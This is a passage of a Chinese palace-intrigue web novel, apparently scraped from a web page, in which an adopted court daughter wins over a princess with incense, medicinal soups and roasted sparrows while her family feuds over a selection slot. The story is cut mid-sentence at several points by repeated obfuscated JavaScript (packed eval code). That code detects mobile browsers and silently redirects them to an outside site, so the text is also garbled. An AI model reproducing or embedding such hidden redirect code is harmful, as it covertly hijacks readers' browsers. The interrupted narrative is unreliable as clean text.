凤南茵见那小宫女在这酷寒的天,穿的那样单薄,缩着身子无力回走,这日子过得有多可怜。 她叫住:“等下。” 小宫女回头,怔怔地看着她。 凤南茵问:“你可是通体酸痛,心胸闷结,特别是双肩后背疼不可当,双臂涨麻抬不起来?” 雏菊拉拉她,“小主子,别管她了,她们储秀宫人都**,也不会有人过问的。” 第一百二十二章凤南茵就要结善缘,种善果 凤南茵心中有自己的衡量,她没理会雏菊的话,只等那宫女回她。 “是,你怎么知道?” “我见你说话气竭音短,观你面色青黄无血,应是夜寒入骨。” 凤南茵想了想道:“你与我来。” 夏公公也想看看小主子要做什么,也没拦着。 小宫女跟在凤南茵身后,进了太医院。 凤南茵借了一副银针,“你可愿意让我帮你医治?” 念芯这一年来,见过太多的冷漠嘴脸,她虽不认得凤南茵,却觉得自己没有什么值得对方加害的,便点了头。 凤南茵将她拉到内间,让她褪了衣衫,露出曲池穴、合谷穴及解溪等穴下针。 一炷香后,针起。 “你试着活动一下手臂?” 念芯酸痛多日的手臂竟是能抬起来,再没有一动就牵扯着的疼痛感,“您是神医吗?竟然几针就将我的病治好了。” “我不是神医,你也不用感谢我,举手之劳罢了。” 念芯忽然就给她跪下了,“贵人,奴婢不知您是哪宫的小主,求求你,救救我家小主吧,咱们小主只是一时糊涂,已经知道错了,她还那样年轻。” 摇了摇头,她不知其中关系,可不敢乱给德妃招惹麻烦。 她道:“夏公公,能否请位太医给她家小主瞧瞧,我见她这般忠心,总是不忍。” 夏公公是宫里老人,他的决定肯定不会出差错。 夏公公看了一眼念芯,“这是我们德妃才认的义女,最是心善,你回宫等着吧,一会会有太医过去储秀宫。” 念芯听闻,不停地给凤南茵磕头,又给夏公公磕头,这才回宫。 路上,凤南茵问,“夏公公,那位贵人犯了很大的错吗?” 夏公公笑称:“那倒也不是,不过是跟错了人,站错了队,没了利用价值后被抛弃罢了。” “可她即便被皇上厌弃,也不至于病了连太医都不管吧?” 夏公公笑道:“这位妙嫔出身不高,入宫后一直不受瞩目,贵妃在皇上面前替她说了两句话,这才得了恩宠,自那以后就以贵妃娘娘马首是瞻。” “可她还是太年轻,不懂得收敛。一个没有娘家帮衬,又无帝王宠爱的妃子,过的日子只会比奴才们还要苦。” 凤南茵默默将这事记在心中,她觉得,若是德妃与贵妃较量,娘亲这边总是弱上三分,若是有人在暗中帮衬,这三分说不定就能弥补回来。 锦上添花易,雪中送炭难,那位宫娥如此忠心自家小主,就说明这位妙嫔是值得人真心相待的主。 她想无意间,收买了这妙嫔的心,让她感恩于自己。 回到宫中,她将自己带入宫的银子分出一半给了蝶兰。 “姐姐,你将这个荷包给储秀宫那个念芯送去,就说我心疼她不容易,让她打点太医院的大夫,以后不要跪地求人了。” 蝶兰不解,“小主为何要帮一个宫女,还给这么多银子?” 她垫了垫,少说有一百两呢。 “没什么,将心比心,可怜她罢了。” 蝶兰嘟唇,“小主就是心善,可是这后宫里像她这样可怜的人多了去了,小主要是见一个就这样舍银子,把自己舍穷了都救不过来。” “去吧,我也不是对谁都烂好心的。” 刚外面飘了雪,她肩头有点被雪打湿了,换了一身衣衫去正殿,发现七公主已经来了。 时菁雨不高兴道:“你约我来,自己却不在,让我等了这许久。” 要不是这里是钟粹宫,她就要发火了。 凤南茵态度半分不见谄媚,语色平缓道:“我约公主过来学制香,可若没有香料岂不是诓骗您,瞧瞧我一早跑出去,带回来多少好东西。” 一句话,就将七公主的怨气给打消了。 她眨着满是新奇的大眼睛,看向摊在桌案上的香料。 “不是学做苏二旧局吗?一种香要用这么多香料?” 凤南茵摇头,“一种香可用不上这许多,我会制不下三十余种香,塔香、线香、香丸、香粉都可以教您。” 她轻轻附耳,“就连公主将来嫁人,闺房要用的香我都会做。” 她说的隐晦,可是那眼中的狡黠让公主脸上不由得泛红,偷偷瞥了一眼高坐上的德妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242556|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小声道:“有能让男人闻了,更加喜欢你的吗?” 七公主靠近,身上有淡淡的果香味,很甜,很好闻。 她道:“公主身上的香气就很好闻,甜而不腻,相信未来驸马肯定喜欢。” 时菁雨嘟唇,“我自然晓得这味道好,可是父皇近来叱责我多少次了,称我每日消耗百斤果子,就为了维持这身香气,是奢靡享乐。若是再不知收敛,就夺了我公主的封号。” 她撇嘴,“可我这个习惯都维持十年了,忽然间让我收敛,若没有超越果香的熏香替代,还不叫人笑话死我?那还不如**算了。” 她拉了拉凤南茵的手,“昨天那个苏二旧局就不错,甜腻腻的,挺好闻的。” 凤南茵此刻的心情都不能用瞠目结舌来形容了。 天一天要耗费三百多个果子? 在这灾荒年间,山间果子都见不到景的时节,这样巨大的消耗是多少银子? 一天少说要上百两吧? 一年呢? 公主这习惯维持了十年,这是多大一座金山银山被她花掉了? 她咽了咽口水,那位妙嫔,连请太医的银子都没有。 而这位受宠的七公主,一天为了果香熏染,要耗费百两。 她笑得艰难,“公主,苏二旧局熏衣还差着些,我给您推荐金桂飘香,我还会制作花露,玉兰花快要开了,它的淡雅香气无人不爱,我到时候做出来给您试试。” “真的,那真是太好了。” 她看着凤南茵仔细称克重,调配香料,学着在一旁研磨调配,玩的不亦乐乎。 “难怪德妃娘娘喜欢你,母妃要晓得你有这么多本事,肯定也想将你留在身边。” 凤南茵忽然抬头,看向她,“公主,我为您做的这些香在自己房中点着玩可以,就不要推荐给贵妃娘娘了。” “为什么?母妃也喜欢香料,为什么不推荐给她?”她眼中闪出警惕,语气也变得质疑。 “诶,我这香虽好,可到底是我自己研究琢磨出来的,并未经太医院的人评断,贵妃娘娘如今身怀龙嗣,万一身体有个不舒服,我怕掉脑袋。” 第一百二十三章人见人爱,花见花开 时菁雨看向她,“你说得也太直接了,我拿给母妃的东西,谅你也不敢使坏。” 凤南茵摇头,“不行不行,不怕一万就怕万一,我可不敢冒险,那可是龙嗣。” 此时,金桂飘香已经研磨出来,她装在香炷里,用线香燃了。 一丝甜淡的桂花香飘出,很是清新。 时菁雨用帕子拢了那香熏了一会,放在鼻尖下闻了闻,很怡人,有一种让人迷醉之感,是果香无法给予的感觉。 母妃肯定也会喜欢。 七公主道:“你这般担心,那我就让太医鉴定,只要他们说这香对胎儿无害,不就可以了?” 凤南茵还是摇头。 她原本拿出一个小册子要给七公主,这会又收了回来。 “公主,我只是一介民女,得娘亲疼爱才能与公主相处在一块,本想将所会的香方都给您的。可您让太医鉴定了,这香就会被传扬开来。不瞒公主,我还想用这方子日后开铺子赚钱呢。” 七公主没想到她如此真心待自己,竟是想全部方子都给自己。 又听她说将来还要用这方子赚钱,自己再坚持岂不是不讲义气。 平日就算了,德妃可在一旁呢。 凤南茵又道:“要不这样,公主想做什么,就来钟粹宫找我,这香拿回去随便您送人,等到贵妃娘娘平安诞下子嗣,我再将香方给您,可好?” 时菁雨有些不高兴,她喜欢什么都与母妃分享。 凤南茵去拉她的手,“公主您别生气,实在是民女身份卑微,担不起半点风险。 公主见她如此谨小慎微,可对自己又这般大方,一改平常的跋扈。 “好吧,本公主也不是那不讲道理的人,母妃这一胎怀的辛苦,多小心些也是应该的。” 德妃在一旁静静看着一切,心下暗暗满意,南茵这丫头,果然稳重小心。 三言两语就把时菁雨的戒备心给消了。 她如此谨小慎微,就说明无害贵妃之心,日后更好行事了。 两人玩闹了二个时辰,研磨出十种香料,每一种都燃了,味道都很好闻。 眼看午膳传了上来,凤菁雨这才准备离开。 “公主,今日这汤有疏肝理气功效,用的是木瓜和排骨做的,味道香甜,您要不要留下来一起用?” 七公主想到母妃与德妃在暗中较量,哪怕再想用这汤,还是摇了摇头。 “今日说好陪母妃用膳,就不留下打扰德妃娘娘了。” 凤南茵对雏菊道:“把这汤单独盛出一盅让公主带回去尝尝。” 她悄悄对七公主咬耳朵,“这汤不但补气血,还丰那里。” 她眼光瞄了一下七公主的胸脯,羞得七公主想捂住让人害羞之处。 “真那么有用,你怎么这么平。” 她反击,小姑娘的好胜心强,她这里发育的不好,是遗传了母妃,日后怕都大不起来。 凤南茵撇撇嘴,“我入宫前,饭都吃不上,养爹要将我易子而食了,可不敢幻想还能吃到肉。” 七公主从未出过宫,只知道外面闹饥荒,可是什么是“易子而食”闻所未闻。 “明天我还来找你,你给我讲讲宫外的事。” 凤南茵见外面雪下的大,道:“公主,一直窝在宫里多没意思,今个雪下的大,明个我带你去抓雀儿,我给您烤雀儿吃。” “烤雀?你还能抓鸟?” 凤南茵满眼都是机灵,眨了眨道:“公主要是感兴趣,过了辰时咱们一起去抓雀,要是不来,我就带着雏菊和蝶兰自己去玩啦。” “我来,你可要等着我。” 她欢喜地端着那汤走了,满心期待明天快一点来。 德妃招手让凤南茵过来坐下。 “真有你的,那七公主独受皇上宠爱,眼高于顶,连她四哥都要哄着,让着,你倒是能耐,一日就让她黏你的紧。” 凤南茵伺候德妃盛了一碗汤放她身边,“女儿要文能文,要武能武,人见人爱,花见花开。” 德妃被她逗得开怀,笑个不停,“这人见人爱,花见花开倒是不假,这能文能武可没看出来。” 她摸着凤南茵那细弱的小胳膊,瘦得让人心疼。 “娘亲,我这文是指对药理的精通,我制香、做得药膳、会养颜,还能配花露,我这武就是上山能打兔子,下水能摸鱼,七公主与我在一处,每天都能玩出新花样,咋可能不喜欢我。” 德妃给她碗里夹了两块排骨,对她不经意间就让时菁雨将药膳带回去很是满意。 时日久了,任谁都会消了戒备,她的计划就能轻而易举地完成。 “多吃点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242557|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正长身体的时候,错过了这个年岁,一辈子都被耽搁了。” 凤南茵不再多言,开始埋头大口干饭,下午还要给娘亲做乌发膏呢。 时菁雨端着汤盅没有回翊坤宫,而是去了皇帝的御书房。 正是用膳时间,皇上今日的胃口好了许多。 早朝上,靖王提出两件利于赈灾及流民返乡的奏呈,他看过之后心中宽慰。 他子嗣不多,成年的皇子只三人,太子先天心疾,不堪大用。 四子努力有余,沉稳不足。 老六这些年边关历练,回京后表现越发出乎预料,多次替他解决困扰的烦心事。 总算是有一个有能担重用的。 时菁雨一进来,就带着欢愉,“父皇,我上午学做了几样香粉,儿臣第一个给父皇送来试香。” “坐,你来的刚好,陪父皇用膳。” 皇上用餐,规矩最是繁琐、严苛,但时菁雨受宠,与父皇单独用餐时,可以将规矩忽略,最是喜欢和皇上讲些趣事。 这也是皇上让他伴在身侧用餐的原由,也只有这一刻,他才觉得自己不是天子,像个寻常百姓那般,也有天伦之乐。 皇上还等着听她讲上午的趣事,结果她埋着头喝汤,吃的那叫一个香。 “今天朕的菁雨好生奇怪,给父皇带了汤,自己却闷头吃起来了?”他打趣。 凤菁雨喝得小嘴带着油光,随后摇头,“父皇,这汤是女子喝的,您用不得。儿臣是专程给您送香的。” “那凤家丫头做的药膳?”昨日他尝了,味道不喜。 时菁雨点头,“恩,今日这药膳好喝,又甜又香,我感觉还能再吃两盅。” 可惜,一小盅,她没喝几口就喝完了。 “明天得让南茵单独给我做一份,这一点能起什么作用。” “这么好喝?” 皇上对?公公吩咐,“给钟粹宫递话,晚上朕去那用膳。” 时菁雨:“……” 她这是帮母妃将父皇往他人宫里推吗?不行不行。 “父皇,母妃近来胃口不好,时常说想您了,您都多日没去翊坤宫了。” 皇上呵笑睨了她一眼,“那你少往出跑,多陪陪她,德妃身子欠安,朕也许久没过去看一眼了。” 时菁雨:“……” 第一百二十四章盛青岚失望 时菁雨回宫后,半日的好心情都没了。 她可真蠢,怎么就将父皇给引到钟粹宫了,要是皇上爱上了那边的膳食,每日都过去该怎么办。 她身边的宫娥甜果道:“公主不必担心,膳食而已,皇上要是真喜欢上了,您就和那凤姑娘要多份,然后回翊坤宫用,咱们娘娘有着身孕,皇上舍不得冷落。到时候那边出力,皇上陪的还不是咱们娘娘?” 七公主点头,“有道理,只要我和凤南茵玩到一处,依着她那般讨好本公主的性子,还不是我说什么,她就做什么?” 凤府 盛青岚看着受伤归来的儿子,心疼的不住流泪。 “泽宇,你怎么这般不小心,这腿要是落了疾,日后可如何是好?” 北庆不用身体有残缺的官员,儿子这腿要是好不了,凤府将永远也翻不了身了啊。 “母亲,先前没有仔细养着,才恢复的慢,日后我多加注意就是。” 盛青岚叹气,“咱们家也不知是得罪了哪路神仙,你父亲出事后,便事事不顺。凤家指着你出头,皇上要赏你,你怎么就要了那么一个无关紧要,芝麻绿豆的小官。” “就是啊大哥,多好的翻身机会,你不为自己考虑也要为家人,为我考虑啊。” 凤泽宇看着母亲,又看看妹妹,心中有一瞬间失望,他以为自己做了这些能被理解。 “哥,难道你希望我入宫后,被别人提起,只是一个小小的八品籍田令妹妹吗?” 凤泽宇蹙眉,“你要入宫。” 他看向母亲,“母亲,如今凤家的情况,实属不该将妹妹送入宫,没有家世支持,妹妹在宫中将要过什么样的日子,您没考虑过吗?” 盛青岚此时只恼怒儿子放弃那么好的讨赏机会,选择做一个籍田令,只气他不争。 “难道学你,翰林变种田?你妹妹十四了,再三年就十七岁了,你觉得错过这次机会还有下一次吗?” 凤泽宇急了,“母亲,你糊涂啊,难道你也相信那签文能应验?没有家世,妹妹进了宫只配做宫娥,她这种娇养的性子,哪受得了那份委屈?” “哥哥,你怎么回来一直说丧气话,怎么就不盼着我会好?” 古嬷嬷这时脸色难看地小跑进来,“夫人,侯府夫人来了,看那脸色来者不善。” 盛青岚蹙眉,“她不好好歇着养精神,又来作妖。” “你好生歇着,我去看看她要做什么。” 吴氏脸色惨白,一身素缟,坐在客位上阴沉着脸。 凤夫人一进来,就看到她带着庶女盛笑慧在身侧,心中便有了三分猜测。 “弟妹,听闻你身子不好,怎么不好生养着,这冷的天可别病重了。” 吴氏也不和她拐弯抹角,直言道:“先前说好了,凤南茵嫁给我儿,那秀女资格才让与南蓉,如今闳儿出了事,这婚事再难成,侯府也夺了**的资格,这秀女名额不能再让出去了。” 凤夫人看了一眼盛笑慧,就这清秀寡淡的模样,充其量称之一句小家碧玉,这等模样也妄想入宫为侯府争颜面? “弟妹说的是,既然是利益交换,如今婚事不成了,这秀女名额总要还你。” 吴氏一怔,这么容易就松口了? 凤南蓉也是慌乱,母亲不会因为大哥的几句话就打消了她入宫的想法吧? “母亲?” 凤氏却道:“南蓉,把名额拿出来吧。” 吴氏看着呈上来的秀女资格单,皮笑肉不笑道。 “我怎么忘记了,官府早就依着名单将秀女登记造册递了上去,这会还回来也无用了。这样吧,你出一笔银子,就当这名额卖给你们了。” 凤南蓉气愤不已,“舅母,我知道侯府如今入不敷出,可你也不能张口闭嘴都提银子吧?先前您就拿走了五千两,如今您又要银子,真不怕有朝一日我凤府东山再起,你与咱们的情份都划清了吗?” 吴氏才不怕,只要侯爷在,两府的关系就断不了。 “怎么,白占了笑慧的名额,你们还有理了,你们这样做和强盗有什么区别。” 盛青岚:“侯府若有难处,让侯爷来与我谈,这名额还你,有了这张单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242558|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,笑慧一样能入宫参选秀女,能否被留下,咱们可就说不准了。” 如今她儿子回来了,又有了官身,她再也不用看人脸色,休想再从她这里白拿一两银子。 吴氏气得抓起那张纸,“好,卸磨杀驴,落井下石是吧!” “瞧不起我们笑慧,那就等着瞧,再怎么说,她也是侯爷的女儿,我将她收到我膝下,日后就是侯府嫡女。凤南蓉是什么,她是罪臣之女,入了宫,还不知谁被人瞧不起。” 吴氏没讨到自己想要的银子,对凤南蓉好一通羞辱。 她人走后,凤南蓉就坐在那里哭了起来。 “母亲,这宫我不入了,大哥说的对,我进去了会被人瞧不起,人人都会笑我是罪臣之后。” 盛氏恨铁不成钢,“这就被打消了傲气?你生成这等容貌,培养你六艺皆精,就为了让你留在家中哭的?” “可今非昔比了呀母亲,我再不是安国公府的大小姐了。” 盛青岚被她这不争气的态度气得心口疼。 她怎么就养出这么一对没用的儿女,儿子儿子不知把握机遇。 女儿女儿扶不起来。 空有才华和脸蛋,心性怎么如此懦弱无用。 “早知你是这样就妥协的性子,当初不如将你送走,留下南茵。” 一句话,凤南蓉就不哭了,她伤心地看着母亲。 “你说什么?” “你妹妹,凤南茵已经入宫了,她能留在宫中,你为何不能?难不成你想她嫁入皇氏后,一辈子对她卑躬屈膝,仰她鼻息过日子吗?” 不! 她当然不要。 “可是母亲,你将名额还回去了,我没有机会了呀?” 凤夫人冷笑,“曾经不能,可是你哥哥回来了,咱们与靖王说不上话,但他能,将你送入宫,还不是他一句话的事,吴氏竟然还想拿此事来拿捏我。” “天真!” 凤南蓉暗暗咬唇,下定决心。 “母亲放心,我绝对不会让你失望,凤南茵能做到,我同样能做到。” 第一百二十五章烤雀 凤南蓉担心自己空有容貌胜算不大,因为她清楚明白,皇子娶妻,娶的是助力,是家世。 如今大哥虽再回政坛,可官职太小。 得出其不意,早做准备才行。 “母亲,咱们回京住吧,这边的胭脂铺子比京城的差太多,再有舅母三天两头来找您晦气,还是离开省心。” “回京?” 凤夫人并不情愿,总觉得回京后遇到了熟人,这脸面上挂不住。 “母亲,大哥节后也要上任,您总不放心他一人在京吧?且我入宫选秀,在旨意没下来前,我也要回府小住,娘亲总不希望我宿客栈吧?” 凤氏担心回京麻烦事太多,“咱们回京,你三叔他们一家知道咱们日子过得好,必会寻上来打秋风,还有二房那些人,搞不好都要寻上来。” 国公府都散了,让我再养着她们,绝无可能。 凤南蓉不以为意道:“那您就低调一些,平日不出府不就好了?” 凤氏:“……” “母亲,您现在所做的一切不都是为了大哥吗,他若是没照顾好身子,累出了病,担心的还不是您。” 盛青岚最后还是同意了女儿的心愿,决定回京。 做下这决定,主要是这期间发生了一件令她心寒之事。 她的好弟弟竟然张嘴来和她讨要银子。 对,就是要银子,而不是借银子。 理由也很简单,盛闳若是不去接凤泽宇回京,他的闳儿便不会遇到山匪出意外。 承阳侯的意思,凤泽宇要负责。 盛青岚被气得浑身发抖,当初想夺他儿子的功劳威胁用南茵与之订亲,如今人**还要怪他的儿子。 凤泽宇更是不解,“一路南下,从未见到表弟,若侯府如今有难处,我们是至亲,该帮扶帮扶。但舅舅不该将此事怪在侄儿身上。” 原本盛侯爷狮子大开口要一万两,凤氏气恼,姐弟二**吵一架。 最终凤泽宇答应给三千两做安抚。 钱虽不多,可是伤了情份。 凤氏被气得头疾犯了。 “那盛闳死,我出了一千两,转头又来讹钱,就那么个不是东西的东西,将侯府的名声都毁没了,你舅舅竟然为他来与我要银子。” 凤南蓉在一旁添油加醋,“母亲,我早就说侯府是个空架子了,今日舅舅来要三千两,后个还会来,咱们家现在也是只出不进,早晚会被掏空的。” 凤氏一听,可不能这样。 “搬家,现在就搬家。” 当初她们回石门府,是想着背靠娘家不受人欺负,结果自己家人先欺负上来了。 凤氏留下安伯发卖买回来的家什,一家人当日搬离石门府。 盛氏坐在马车上便忍不住后悔,“也不晓得南茵如今过得如何,我竟是为了这些个白眼狼,坏了我们母女情份。” 凤南蓉咬着下唇不爱听。 “母亲,她也是白眼狼,为了与您置气,都不认您了,您还想她作甚。” 凤氏不语,心口犯疼,终是觉得自己有错在先。 凤南蓉见不得母亲为凤南茵着想,在一旁拱火,“母亲,再怎么说也是您十月怀胎辛苦生下的她,她半点恩情不记。要不是为了她,您在雪地里跪着落下的病根了,说不定我们下面还会有弟弟妹妹做帮衬,孝顺您呢。” 凤氏叹气:“她毕竟是你亲妹妹,日后你入了宫,你们姐妹二人能互相帮衬,如今亲人闹得像仇人一样,于你也没好处。” “我才用不着她帮衬,一个乡下长大的丫头,除了会端盆送水,还能做什么,别给我拖后腿我就烧高香了。” 她嘴里说什么也不会的乡下丫头,这会正引得七公主殿下在一处冷宫烤雀。 那香味馋得金枝玉叶口水泛滥。 “南茵,好了没有,太香了,我都馋得忍不住了。” “好了,好了,公主要不要下人先替您尝了再用?” “不用,咱俩一起做的吃食,哪轮得她们先享用。” 时菁雨小心翼翼扯下一口焦酥雀腿,香得直闭眼睛。 “南茵,你真是太厉害了,从前围猎烤肉,我都嫌弃那肉沾了炭火,脏。可你这鸟儿烤得也太好吃了,我觉得是我这辈子吃的最美味的东西了。” 凤南茵笑着拿帕子擦了擦她沾在脸上的灰,解释道。 “公主,那是您只知其外,觉得这食物染了草木灰就脏了,其实这草木灰是药,不但治疗腹中积聚、水肿,还有消炎杀菌的功效。要是在野外受了伤,没有药草用的时候,烧一些草木灰涂抹在伤处,不但止血能防止感染,关键时刻是能救命的。” 七公主吃得小嘴都黑了,满嘴都是孜然预留的肉香。 “你懂得真多,明天咱们再来捉鸟好不好?” 凤南茵瞥了一眼身边还有二十余只的家雀儿,“这么多,公主还不够吃吗?” 时菁雨摇头,“这么香的东西,肯定要带一些给父皇还有母妃吃,你也带几个回去给德妃。” 凤南茵想到德妃的计划,满嘴应承,“行,那我现在就把这些雀烤出来,刚刚烤的急,有一点焦了,给皇上和娘娘们烤,我得仔细着一些。” 凤南茵用了心,剩下的雀串成串,慢火细烤,各个金黄流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242559|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油,香气四溢。 炭火慢慢黯淡下去,凤南茵直了直腰,“公主,雀儿冷掉了就不好吃了,我们先送回去,明日我们不烤这个了,我带您去冬钓,那个更有意思。” 七公主觉得,自从这后宫有了凤南茵与她作伴,这日子别提多有意思了。 “成,就这么说定了。” 凤南茵早做了准备,拿出油纸将雀包好,让宫娥搂在怀里,两人分开而行。 回了钟粹宫,德妃看着纸包里的吃食忍不住惊叹,“本宫有二十多年没有再吃过这东西了,没想到在这深宫还能吃到这一口。” “娘亲也爱吃烤雀?” 德妃捏起一个尚有余温的雀,细细尝着,“恩,比记忆里的还好吃。” 周嬷嬷和夏公公皆在一旁伸长了脖子。 夏公公忍不住咂嘴,“这香味,好馋人啊!” 凤南茵会做人,变戏法一样又变出两个纸包,里面皆放了三只烤好的雀儿。 “嬷嬷和公公都有,要是你们觉得好吃,后殿雪没除,我们可以再抓几只,一会就能吃上。” 夏公公稀罕得不行,看向德妃。 “娘娘?” 德妃没有立即应了,而是问凤南茵。 “翊坤宫那边可有?” “有的,七公主觉得好吃,给贵妃也带回去了,皇上那里也有。” 她轻轻颔首,余贵妃吃不吃都没关系,要的就是让她放松警惕。 至于皇上…… “长通,你吃完就去准备,晚上皇上过来,晚膳咱们就加上这味烤雀。” 皇上只吃了一顿药膳,当夜就觉得通身暖融融的,一夜都睡的极好。 他年纪大了,并不喜在妃嫔那留宿,通常一人宿在御书房,虽说有宫娥为其暖床,可是他睡下没一刻,从小腿向下就会冰得厉害。 昨夜这毛病却是没再犯,所以今夜又来试试,可是这药膳的功效。 哪知,人才走进钟粹宫,就被一股异香勾得垂涎三尺。 “文姬今日这宫中又做了什么,这香味很勾人食欲啊!” 德妃忙带着下人见礼,然后搀扶着皇上坐下。 “臣妾这小厨房都是按部就班的吃食,有了新奇花样也是托了南茵的福,这丫头白日里与七公主胡闹着玩烤的雀,臣妾尝着不错,夏公公带人又捉了几只,这不烤出来给皇上您尝尝。” 皇上想到菁雨带来的那小东西,他是没吃的。 没想到才烤出来的香味这等浓郁。 凤南茵脸蛋上沾了一抹黑,举着两串烤雀,“娘亲,烤好了,喷喷香,您快尝尝。” 第一百二十六章一箭三雕,坐收渔翁之利 凤南茵看到皇上在,忙上前见礼,“见过皇上。” 皇上叫人都坐了,随后盯着那盘烤雀没有下手。 德妃见皇上有忌讳,自己先是尝了。 随后撕下一条肉,“皇上,这个真的很香,是上等的下酒菜。” 皇上见她如此说,接过那肉放在嘴里尝了尝。 “恩,这味道奇特,满尺留香,这是加了什么佐料?” 凤南茵笑得憨态,“回皇上,其实与平常无二,只是抹了蜂蜜加了孜然,所以这味就香了许多。” 皇上吃起来就停不下来了,一连吃了三只,还喝了一些桑葚酒,兴致很高。 “文姬,你这义女认得不错,是个讨喜的,只是今日怎地没有药膳汤?” 德妃忙看向南茵,怎么疏忽了? 凤南茵这时举着一个琉璃盏过来,倒出一杯酒红色液体。 “皇上,烤食虽然香,可是极易上火,若再用药膳温补,怕您睡至半夜,会觉得口鼻发干,身体难受。” “今日的药膳是花茶,有金银花、菊花、山楂,不但可以去火,还能明目,可以很好综合掉今日吃食上引起的不适。” ?公公浅尝了一口,赞道:“酸甜,确实解腻,好喝。” 皇上这才尝了尝,不由得感叹。 “文姬啊,朕算是明白你为何独喜欢这丫头了,是个心细聪慧的。” 这一餐他吃得舒服,即便哪里不舒服,觉得有凤南茵这个处处考虑周到的小大夫在旁,也觉得吃什么都是对身体好。 “今天翊坤宫那边也吃了这烤雀,你这花茶一会也命人送去一份。” “好。” 皇上吃完准备离开,又觉得这样走有些不妥,便看向德妃。 “朕怎么瞧着文姬似是比先前年轻了许多?” 可是这人哪里变了,他又看不出来,总觉得人似年轻了十岁一般。 他又仔细端详了一下,确实年轻了。 再看一旁的周嬷嬷,还有夏公公,心中含糊。 这钟粹宫有意思,才食了几日药膳,这人怎么都看去年轻了? 德妃欢喜的抿着唇笑,“皇上是不是疑惑,为何这宫里的老人都显年轻了。” 皇上这才发现原由,“你们的头发,好似都恢复年轻时那般乌黑了。” 德妃抿着唇笑称:“这也是南茵那丫头的功劳,她昨日捣鼓了整整一下午,又是熬药膏,又是给咱们乌发的,她说这药膏要用上三次以上才能彻底染黑,臣妾才只做了一次皇上您就看出来了。” 她欢喜地掩唇轻笑,眉眼都是喜色。 皇上点了点头,“还真是个厉害的小丫头,会的东西还真不少。” 皇上想了想,“没事你多带她到皇后那里坐坐,得了她喜欢,想要个封号还不容易。” 皇上不会轻易为民女赏赐封号,若是得了皇后喜爱,再向自己来讨赏,就有理由了。 德妃欢喜,夜间叫凤南茵过来伺候她拆卸头发。 “南茵,你没有封号,在这后宫行走是个妃嫔都能拿捏你,你考虑一下,怎么讨皇后娘娘欢心,由娘娘提议赐你个封号,将来也能寻一户门第高的人家出嫁。” 凤南茵听德妃又提这事,将埋在心中的担忧说了出来。 “娘亲,我父亲死前写了谏言,导致朱家满门流放,皇后怨恨我都来不及,这份讨好,南茵一时还真想不出来。” 至少眼下她没想出好的主意。 德妃听罢,忙细问她缘由。 这才知前朝朱家竟是因安国公检举获罪。 她拧眉,皇上这是故意想刁难南茵吗? “如此说来确实麻烦了。” 但她不想放弃,给凤南茵分析道:“皇后忧心之事,一是太子的身体,那是母胎先天不足,太医用药吊着命才活到如今。” “二就是子嗣问题,太子成婚五年,无一儿半女,太子无后,即便他身体无恙,皇位也会易主。” 凤南茵端着小脸,忽然想到皇后对师伯的残忍,难怪一怒之下断了师伯两指,还不许他再行医。 “娘亲,这两点若太医都无法,南茵也是没办法的。”她的医术可没有太医厉害。 至少在没有给太子号脉之前,她没有办法。 冒然提出给太子诊脉,她是嫌自己活得太长了。 翊坤宫。 贵妃听着女儿在给自己学和凤南茵在一起的趣事。 带回来的那几只烤雀她担着小心,没有吃,倒是看着女儿吃得欢。 “不要小瞧了那丫头,短短三两日就哄得你这般欢喜,小心哪日给你卖了都不知。” “南茵不是这样的人,她连能制闺房秘香都教给我了,对我可没藏一点私心。” 贵妃眼珠子一转,忽然就有了坏主意。 那丫头太能出风头,才得了德妃另眼相待几日,就引得皇后每日都去钟粹宫,时间久了,还有她翊坤宫什么事。 “菁雨,那迷情香料你真的学会了?” 七公主的脸腾地一下子就红了,“母妃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 